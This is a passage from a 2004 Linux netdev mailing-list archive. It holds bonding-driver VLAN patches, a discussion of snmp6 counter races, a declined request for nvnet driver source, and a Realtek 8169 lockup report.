bond->curr_active_slave = slave->next; write_unlock(&bond->curr_slave_lock); - goto out; + break; } } + out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3617,6 +4018,7 @@ free_out: static int bond_xmit_activebackup(struct sk_buff *skb, struct net_device *bond_dev) { struct bonding *bond = bond_dev->priv; + int res = 1; /* if we are sending arp packets, try to at least identify our own ip address */ @@ -3633,26 +4035,21 @@ static int bond_xmit_activebackup(struct read_lock(&bond->curr_slave_lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } if (bond->curr_active_slave) { /* one usable interface */ - skb->dev = bond->curr_active_slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - goto out; - } else { - goto free_out; + res = bond_dev_queue_xmit(bond, skb, bond->curr_active_slave->dev); } + out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->curr_slave_lock); read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3667,11 +4064,12 @@ static int bond_xmit_xor(struct sk_buff struct slave *slave, *start_at; int slave_no; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; @@ -3689,22 +4087,18 @@ static int bond_xmit_xor(struct sk_buff if (IS_UP(slave->dev) && (slave->link == BOND_LINK_UP) && (slave->state == BOND_STATE_ACTIVE)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - - goto out; + res = bond_dev_queue_xmit(bond, skb, slave->dev); + break; } } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3716,11 +4110,12 @@ static int bond_xmit_broadcast(struct sk struct slave *slave, *start_at; struct net_device *tx_dev = NULL; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } read_lock(&bond->curr_slave_lock); @@ -3728,7 +4123,7 @@ static int bond_xmit_broadcast(struct sk read_unlock(&bond->curr_slave_lock); if (!start_at) { - goto free_out; + goto out; } bond_for_each_slave_from(bond, slave, i, start_at) { @@ -3744,31 +4139,28 @@ static int bond_xmit_broadcast(struct sk continue; } - skb2->dev = tx_dev; - skb2->priority = 1; - dev_queue_xmit(skb2); + res = bond_dev_queue_xmit(bond, skb2, tx_dev); + if (res) { + dev_kfree_skb(skb2); + continue; + } } tx_dev = slave->dev; } } if (tx_dev) { - skb->dev = tx_dev; - skb->priority = 1; - dev_queue_xmit(skb); - } else { - goto free_out; + res = bond_dev_queue_xmit(bond, skb, tx_dev); } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } /* frame sent to all suitable interfaces */ read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } #ifdef CONFIG_NET_FASTROUTE @@ -3837,6 +4229,7 @@ static int __init bond_init(struct net_d bond->current_arp_slave = NULL; bond->primary_slave = NULL; bond->dev = bond_dev; + INIT_LIST_HEAD(&bond->vlan_list); /* Initialize the device entry points */ bond_dev->open = bond_open; @@ -3858,6 +4251,25 @@ static int __init bond_init(struct net_d bond_dev->tx_queue_len = 0; bond_dev->flags |= IFF_MASTER|IFF_MULTICAST; + /* At first, we block adding VLANs. That's the only way to + * prevent problems that occur when adding VLANs over an + * empty bond. The block will be removed once non-challenged + * slaves are enslaved. + */ + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + + /* By default, we declare the bond to be fully + * VLAN hardware accelerated capable. Special + * care is taken in the various xmit functions + * when there are slaves that are not hw accel + * capable + */ + bond_dev->vlan_rx_register = bond_vlan_rx_register; + bond_dev->vlan_rx_add_vid = bond_vlan_rx_add_vid; + bond_dev->vlan_rx_kill_vid = bond_vlan_rx_kill_vid; + bond_dev->features |= (NETIF_F_HW_VLAN_TX | + NETIF_F_HW_VLAN_RX | + NETIF_F_HW_VLAN_FILTER); #ifdef CONFIG_PROC_FS bond_create_proc_entry(bond); diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:56:18 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:56:19 2004 @@ -147,6 +147,11 @@ struct bond_params { u32 arp_targets[BOND_MAX_ARP_TARGETS]; }; +struct vlan_entry { + struct list_head vlan_list; + unsigned short vlan_id; +}; + struct slave { struct net_device *dev; /* first - usefull for panic debug */ struct slave *next; @@ -196,6 +201,8 @@ struct bonding { struct ad_bond_info ad_info; struct alb_bond_info alb_info; struct bond_params params; + struct list_head vlan_list; + struct vlan_group *vlgrp; }; /** @@ -238,5 +245,7 @@ extern inline void bond_set_slave_active slave->dev->flags &= ~IFF_NOARP; } +int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev); + #endif /* _LINUX_BONDING_H */ From kumarkr@us.ibm.com Thu Jan 22 18:52:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 18:52:44 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N2qO7J023722 for ; Thu, 22 Jan 2004 18:52:30 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0N2p04E242916; Thu, 22 Jan 2004 21:51:10 -0500 Received: from d03nm801.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0N2onEO121490; Thu, 22 Jan 2004 19:50:49 -0700 Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com, Shirley Ma X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: Krishna Kumar Date: Thu, 22 Jan 2004 18:45:18 -0800 X-MIMETrack: Serialize by Router on D03NM801/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/22/2004 19:50:49 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4B7DF9DA7A68f9e8a93df938690918c07BBE4B7DF9DA7A6" Content-Disposition: inline X-archive-position: 2697 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kumarkr@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4B7DF9DA7A68f9e8a93df938690918c07BBE4B7DF9DA7A6 Content-type: text/plain; charset=US-ASCII Hi dave, > > Do you really care about this situation? It only happens as a race within > > one instruction in 4 billion. It will slow everytime if we do this way. > correctness > performance > If MRTG hits this case and my net usage graphs have weird spikes > in them as a result, can I assign the bugzilla entry to you? :-) If so, do you think the solution that I proposed earlier would work ? No doubt it is quite ugly to behold :-) The one issue with it is one extra cache loading in 99.999999999% of cases (2 instead of 1) and two extra loading the remaining % of cases, but this is executed rarely and the user can always wait for data instead of penalizing the kernel writers. (synchronize_kernel is also a little heavy, so maybe there is a more lightweight mechanism to make sure that writer is finished). thanks, - KK __u64 get_sync_data(void *mib[], int nr) { __u64 res1, res2; __u64 res3; res1 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr))); synchronize_kernel(); res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr))); if (res2 < res1) { / * Overflow, sync and re-read, the next read is guaranteed to be greater * than res1. */ synchronize_kernel(); res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr))); } /* similar code for mib[1], add both into res3 return res3; } #endif static __u64 fold_field(void *mib[], int nr) { ... res += get_sync_data(mib, nr); ... } --0__=07BBE4B7DF9DA7A68f9e8a93df938690918c07BBE4B7DF9DA7A6 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Hi dave,

> > Do you really care about this situation? It only happens as a race within
> > one instruction in 4 billion. It will slow everytime if we do this way.

> correctness > performance

> If MRTG hits this case and my net usage graphs have weird spikes
> in them as a result, can I assign the bugzilla entry to you? :-)

If so, do you think the solution that I proposed earlier would work ? No doubt it is quite ugly to behold :-)
The one issue with it is one extra cache loading in 99.999999999% of cases (2 instead of 1) and two
extra loading the remaining % of cases, but this is executed rarely and the user can always wait for
data instead of penalizing the kernel writers. (synchronize_kernel is also a little heavy, so maybe there
is a more lightweight mechanism to make sure that writer is finished).

thanks,

- KK

__u64 get_sync_data(void *mib[], int nr)
{
__u64 res1, res2;
__u64 res3;

res1 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr)));
synchronize_kernel();
res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr)));
if (res2 < res1) {
/ * Overflow, sync and re-read, the next read is guaranteed to be greater
* than res1.
*/
synchronize_kernel();
res2 = *((__u64 *) (((void *) per_cpu_ptr(mib[0], i)) + sizeof (__u64) * nr)));
}

/* similar code for mib[1], add both into res3

return res3;
}
#endif

static __u64
fold_field(void *mib[], int nr)
{
...
res += get_sync_data(mib, nr);
...
} --0__=07BBE4B7DF9DA7A68f9e8a93df938690918c07BBE4B7DF9DA7A6-- From kumarkr@us.ibm.com Thu Jan 22 19:04:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 19:04:13 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N33x7J024359 for ; Thu, 22 Jan 2004 19:04:00 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0N32UQL364744; Thu, 22 Jan 2004 22:02:41 -0500 Received: from d03nm801.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0N32JHB125638; Thu, 22 Jan 2004 20:02:20 -0700 Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com, Shirley Ma X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: Krishna Kumar Date: Thu, 22 Jan 2004 18:57:16 -0800 X-MIMETrack: Serialize by Router on D03NM801/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/22/2004 20:02:20 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4B7DF9C07CA8f9e8a93df938690918c07BBE4B7DF9C07CA" Content-Disposition: inline X-archive-position: 2698 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kumarkr@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4B7DF9C07CA8f9e8a93df938690918c07BBE4B7DF9C07CA Content-type: text/plain; charset=US-ASCII > correctness > performance I agree with this statement, if every bug is explained as a "very tiny race" leads to one large defective product :-) and performance also need not be hit much if writers are not penalized as I had suggested earlier... - KK --0__=07BBE4B7DF9C07CA8f9e8a93df938690918c07BBE4B7DF9C07CA Content-type: text/html; charset=US-ASCII Content-Disposition: inline


> correctness > performance

I agree with this statement, if every bug is explained as a "very tiny race"
leads to one large defective product :-)

and performance also need not be hit much if writers are not penalized as I
had suggested earlier...

- KK
--0__=07BBE4B7DF9C07CA8f9e8a93df938690918c07BBE4B7DF9C07CA-- From davem@redhat.com Thu Jan 22 20:05:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 20:06:03 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N45U7J028192 for ; Thu, 22 Jan 2004 20:05:50 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id TAA11149; Thu, 22 Jan 2004 19:56:59 -0800 Date: Thu, 22 Jan 2004 19:56:59 -0800 (PST) Message-Id: <20040122.195659.78718937.davem@redhat.com> To: shmulik.hen@intel.com Cc: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/6][8021q][2.6] Use VLAN tag set functionality in 8021q module From: "David S. Miller" In-Reply-To: <200401221800.14862.shmulik.hen@intel.com> References: <200401221800.14862.shmulik.hen@intel.com> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2699 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Shmuel, please stop sending all of this VLAN and ARP stuff the bonding code wants. I told you yesterday that at best I will put this stuff into the next 2.6.x release, so please send it at that time. Thanks. From capture_all@yahoo.com Thu Jan 22 21:56:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 21:56:26 -0800 (PST) Received: from web80809.mail.yahoo.com (web80809.mail.yahoo.com [66.163.170.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N5uC7J004519 for ; Thu, 22 Jan 2004 21:56:12 -0800 Message-ID: <20040123055612.78211.qmail@web80809.mail.yahoo.com> Received: from [206.124.245.82] by web80809.mail.yahoo.com via HTTP; Thu, 22 Jan 2004 21:56:12 PST Date: Thu, 22 Jan 2004 21:56:12 -0800 (PST) From: Capture All Subject: forthdeth To: netdev@oss.sgi.com Cc: c-d.hailfinger.kernel.2003@gmx.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1344611789-1074837372=:77856" X-archive-position: 2700 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: capture_all@yahoo.com Precedence: bulk X-list: netdev --0-1344611789-1074837372=:77856 Content-Type: text/plain; charset=us-ascii Hello Sir, I am going to port the nvnet driver to windows ce version. Could I got a copy of the src from you? Also, you mentioned there is a specification about the reverse engineering. Could you send it to me also? I looked into this page, found there are some patches. Does any of the patch includes all the source I need? For example forcedeth_2_6_patch_v20.txt ? http://www.hailfinger.org/carldani/linux/patches/forcedeth/ Thanks! Blues --------------------------------- Do you Yahoo!? New Yahoo! Photos - easier uploading and sharing --0-1344611789-1074837372=:77856 Content-Type: text/html; charset=us-ascii

Hello Sir,
I am going to port the nvnet driver to windows ce version.
Could I got a copy of the src from you? Also, you mentioned there is a specification about the reverse engineering. Could you send it to me also?
 
I looked into this page, found there are some patches. Does any of the patch includes all the source I need? For example forcedeth_2_6_patch_v20.txt ?
 
 
Thanks!
Blues

Do you Yahoo!?
New Yahoo! Photos - easier uploading and sharing --0-1344611789-1074837372=:77856-- From c-d.hailfinger.kernel.2003@gmx.net Fri Jan 23 03:35:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 03:35:52 -0800 (PST) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NBZY7J019484 for ; Fri, 23 Jan 2004 03:35:37 -0800 Received: (qmail 17719 invoked by uid 65534); 23 Jan 2004 11:35:22 -0000 Received: from stud212133.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.133) by mail.gmx.net (mp001) with SMTP; 23 Jan 2004 12:35:22 +0100 X-Authenticated: #15936885 Message-ID: <401106E6.2070605@gmx.net> Date: Fri, 23 Jan 2004 12:35:02 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Capture All CC: netdev@oss.sgi.com Subject: Re: forthdeth References: <20040123055612.78211.qmail@web80809.mail.yahoo.com> In-Reply-To: <20040123055612.78211.qmail@web80809.mail.yahoo.com> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2701 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2003@gmx.net Precedence: bulk X-list: netdev Capture All wrote: > Hello Sir, I am going to port the nvnet driver to windows ce version. If Windows CE is running on anything that needs nvnet, NVidia will port the driver themselves, I'm sure. > Could I got a copy of the src from you? Also, you mentioned there is a > specification about the reverse engineering. Could you send it to me > also? Sorry, but neither I nor any of the other forcedeth developers have any source of nvnet and we never want to have it because it would taint us. The specification is private and will never be shared with anybody because we do not want to get into legal trouble. > I looked into this page, found there are some patches. Does any of the > patch includes all the source I need? For example > forcedeth_2_6_patch_v20.txt ? > > http://www.hailfinger.org/carldani/linux/patches/forcedeth/ None of this patches will help you at all if you want to port nvnet because forcedeth is written based on a spec that includes only nic initialization and packet rx/tx and none of the inner workings and structures of nvnet. > Thanks! Blues Sorry to disappoint you, but maybe you should ask NVidia if they release a Windows CE version of their driver. Carl-Daniel -- http://www.hailfinger.org/ From shmulik.hen@intel.com Fri Jan 23 03:43:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 03:43:42 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NBhO7J019972 for ; Fri, 23 Jan 2004 03:43:25 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFwmTI007052; Thu, 22 Jan 2004 15:58:48 GMT Received: from fmsmsxv041-1.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MG31Kv006404; Thu, 22 Jan 2004 16:03:01 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxv041-1.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012208012516253 ; Thu, 22 Jan 2004 08:01:26 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 6/6][bonding][2.6] Add VLAN support in ALB mode Date: Thu, 22 Jan 2004 18:01:22 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401221801.24826.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2702 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Add capability to tag self generated ARP packets that are required for receive load balancing in bonding. VLAN Id's are saved and used each time a new IP connection is established since 8021q currently supports IP binding. Update module version and comment blocks. diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:26 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:28 2004 @@ -34,6 +34,9 @@ * * 2003/12/30 - Amir Noam * - Fixed: Cannot remove and re-enslave the original active slave. + * + * 2004/01/14 - Shmulik Hen + * - Add capability to tag self generated packets in ALB/TLB modes. */ //#define BONDING_DEBUG 1 @@ -499,13 +502,33 @@ static void rlb_update_client(struct rlb } for (i = 0; i < RLB_ARP_BURST_SIZE; i++) { - arp_send(ARPOP_REPLY, ETH_P_ARP, - client_info->ip_dst, - client_info->slave->dev, - client_info->ip_src, - client_info->mac_dst, - client_info->slave->dev->dev_addr, - client_info->mac_dst); + struct sk_buff *skb; + + skb = arp_create(ARPOP_REPLY, ETH_P_ARP, + client_info->ip_dst, + client_info->slave->dev, + client_info->ip_src, + client_info->mac_dst, + client_info->slave->dev->dev_addr, + client_info->mac_dst); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to create an ARP packet\n"); + continue; + } + + skb->dev = client_info->slave->dev; + + if (client_info->tag) { + skb = vlan_put_tag(skb, client_info->vlan_id); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to insert VLAN tag\n"); + continue; + } + } + + arp_xmit(skb); } } @@ -604,9 +627,10 @@ static void rlb_req_update_subnet_client } /* Caller must hold both bond and ptr locks for read */ -struct slave *rlb_choose_channel(struct bonding *bond, struct arp_pkt *arp) +struct slave *rlb_choose_channel(struct sk_buff *skb, struct bonding *bond) { struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond)); + struct arp_pkt *arp = (struct arp_pkt *)skb->nh.raw; struct slave *assigned_slave; struct rlb_client_info *client_info; u32 hash_index = 0; @@ -662,6 +686,15 @@ struct slave *rlb_choose_channel(struct client_info->ntt = 0; } + if (!list_empty(&bond->vlan_list)) { + unsigned short vlan_id; + int res = vlan_get_tag(skb, &vlan_id); + if (!res) { + client_info->tag = 1; + client_info->vlan_id = vlan_id; + } + } + if (!client_info->assigned) { u32 prev_tbl_head = bond_info->rx_hashtbl_head; bond_info->rx_hashtbl_head = hash_index; @@ -692,7 +725,7 @@ static struct slave *rlb_arp_xmit(struct /* the arp must be sent on the selected * rx channel */ - tx_slave = rlb_choose_channel(bond, arp); + tx_slave = rlb_choose_channel(skb, bond); if (tx_slave) { memcpy(arp->mac_src,tx_slave->dev->dev_addr, ETH_ALEN); } @@ -703,7 +736,7 @@ static struct slave *rlb_arp_xmit(struct * When the arp reply is received the entry will be updated * with the correct unicast address of the client. */ - rlb_choose_channel(bond, arp); + rlb_choose_channel(skb, bond); /* The ARP relpy packets must be delayed so that * they can cancel out the influence of the ARP request. @@ -809,6 +842,40 @@ static void rlb_deinitialize(struct bond kfree(bond_info->rx_hashtbl); bond_info->rx_hashtbl = NULL; + bond_info->rx_hashtbl_head = RLB_NULL_INDEX; + + _unlock_rx_hashtbl(bond); +} + +static void rlb_clear_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct alb_bond_info *bond_info = &(BOND_ALB_INFO(bond)); + u32 curr_index; + + _lock_rx_hashtbl(bond); + + curr_index = bond_info->rx_hashtbl_head; + while (curr_index != RLB_NULL_INDEX) { + struct rlb_client_info *curr = &(bond_info->rx_hashtbl[curr_index]); + u32 next_index = bond_info->rx_hashtbl[curr_index].next; + u32 prev_index = bond_info->rx_hashtbl[curr_index].prev; + + if (curr->tag && (curr->vlan_id == vlan_id)) { + if (curr_index == bond_info->rx_hashtbl_head) { + bond_info->rx_hashtbl_head = next_index; + } + if (prev_index != RLB_NULL_INDEX) { + bond_info->rx_hashtbl[prev_index].next = next_index; + } + if (next_index != RLB_NULL_INDEX) { + bond_info->rx_hashtbl[next_index].prev = prev_index; + } + + rlb_init_table_entry(curr); + } + + curr_index = next_index; + } _unlock_rx_hashtbl(bond); } @@ -1616,5 +1683,9 @@ void bond_alb_clear_vlan(struct bonding (bond->alb_info.current_alb_vlan->vlan_id == vlan_id)) { bond->alb_info.current_alb_vlan = NULL; } + + if (bond->alb_info.rlb_enabled) { + rlb_clear_vlan(bond, vlan_id); + } } diff -Nuarp a/drivers/net/bonding/bond_alb.h b/drivers/net/bonding/bond_alb.h --- a/drivers/net/bonding/bond_alb.h Wed Jan 21 16:56:26 2004 +++ b/drivers/net/bonding/bond_alb.h Wed Jan 21 16:56:28 2004 @@ -77,6 +77,8 @@ struct rlb_client_info { u8 assigned; /* checking whether this entry is assigned */ u8 ntt; /* flag - need to transmit client info */ struct slave *slave; /* the slave assigned to this client */ + u8 tag; /* flag - need to tag skb */ + unsigned short vlan_id; /* VLAN tag associated with IP address */ }; struct tlb_slave_info { diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:26 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:28 2004 @@ -455,12 +455,20 @@ * * 2003/12/30 - Amir Noam * - Fixed: Cannot remove and re-enslave the original active slave. - * - Fixed: Releasing the original active slave causes mac address duplication. + * - Fixed: Releasing the original active slave causes mac address + * duplication. * - Add support for slaves that use ethtool_ops. * Set version to 2.5.3. * * 2004/01/05 - Amir Noam * - Save bonding parameters per bond instead of using the global values. + * Set version to 2.5.4. + * + * 2004/01/14 - Shmulik Hen + * - Enhance VLAN support: + * * Add support for VLAN hardware acceleration capable slaves. + * * Add capability to tag self generated packets in ALB/TLB modes. + * Set version to 2.6.0. */ //#define BONDING_DEBUG 1 diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:56:26 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:56:28 2004 @@ -36,8 +36,8 @@ #include "bond_3ad.h" #include "bond_alb.h" -#define DRV_VERSION "2.5.4" -#define DRV_RELDATE "December 30, 2003" +#define DRV_VERSION "2.6.0" +#define DRV_RELDATE "January 14, 2004" #define DRV_NAME "bonding" #define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" From douglas.pollock@magma.ca Fri Jan 23 05:01:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 05:01:24 -0800 (PST) Received: from mx1.magmacom.com (mx1.magmacom.com [206.191.0.217]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0ND137J030480 for ; Fri, 23 Jan 2004 05:01:04 -0800 Received: from mail2.magma.ca (mail2.magma.ca [206.191.0.214]) by mx1.magmacom.com (Magma's Mail Server) with ESMTP id i0ND0w5H032665; Fri, 23 Jan 2004 08:00:58 -0500 Received: from 192.168.2.113 (ottawa-hs-64-26-170-178.d-ip.magma.ca [64.26.170.178]) (authenticated bits=0) by mail2.magma.ca (8.12.10/8.12.9) with ESMTP id i0ND0vxV026619 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 23 Jan 2004 08:00:57 -0500 Subject: Re: Realtek 8169 Lock-ups From: Douglas Pollock Reply-To: dpollock@acm.org To: Francois Romieu Cc: netdev@oss.sgi.com In-Reply-To: <20040119005555.A1399@electric-eye.fr.zoreil.com> References: <1073507006.5151.61.camel@localhost> <20040107232034.A22930@electric-eye.fr.zoreil.com> <1073596694.6378.6.camel@localhost> <4001080D.3090401@pobox.com> <20040111124957.A18068@electric-eye.fr.zoreil.com> <20040113000357.D5983@electric-eye.fr.zoreil.com> <1074020596.5336.0.camel@localhost> <20040114005738.B21899@electric-eye.fr.zoreil.com> <1074449824.5286.4.camel@localhost> <20040119005555.A1399@electric-eye.fr.zoreil.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-sQ6kmFs/slsZ5DDEBcPb" Message-Id: <1074862857.5324.5.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Fri, 23 Jan 2004 08:00:57 -0500 X-archive-position: 2703 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: douglas.pollock@magma.ca Precedence: bulk X-list: netdev --=-sQ6kmFs/slsZ5DDEBcPb Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Francois, Many apologies. It was my own stupidity. I've sorted things out, and am now running 2.6.1-bk1 with your patchset. With SMP enabled, I get a timeout from the watchdog and my network connection becomes unresponsive. In fact, during boot the DHCPC server times out looking for an IP address. I tried changing (boguscnt > 0) to (1 > 0) and this made no difference. Both of these tests were run with 1000 9014-byte packets. Even with SMP disabled, and even with the patches not applied, there seems = to be problems (this is on 2.6.1-bk1). Perhaps I just wasn't seeing them e= arlier. Basically, sometimes the packet generator completes normally the f= irst time. Sometimes, it does not. Either way, by the second run of the p= acket generator, the network device stops responding. I will try the most recent kernel and patch set, and see what problems I ge= t. Doug. --=-sQ6kmFs/slsZ5DDEBcPb Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBAERsHLhh1LVU8SusRAuHaAKCiiyfIFnovSa5WfZr85n9wQ5IbEQCgghnd qc2Bxn0I1YcFXcy38wKsnz8= =yyOs -----END PGP SIGNATURE----- --=-sQ6kmFs/slsZ5DDEBcPb-- From douglas.pollock@magma.ca Fri Jan 23 08:45:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 08:45:47 -0800 (PST) Received: from mx2.magma.ca (mx2.magma.ca [206.191.0.250]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NGjW7J014507 for ; Fri, 23 Jan 2004 08:45:33 -0800 Received: from mail2.magma.ca 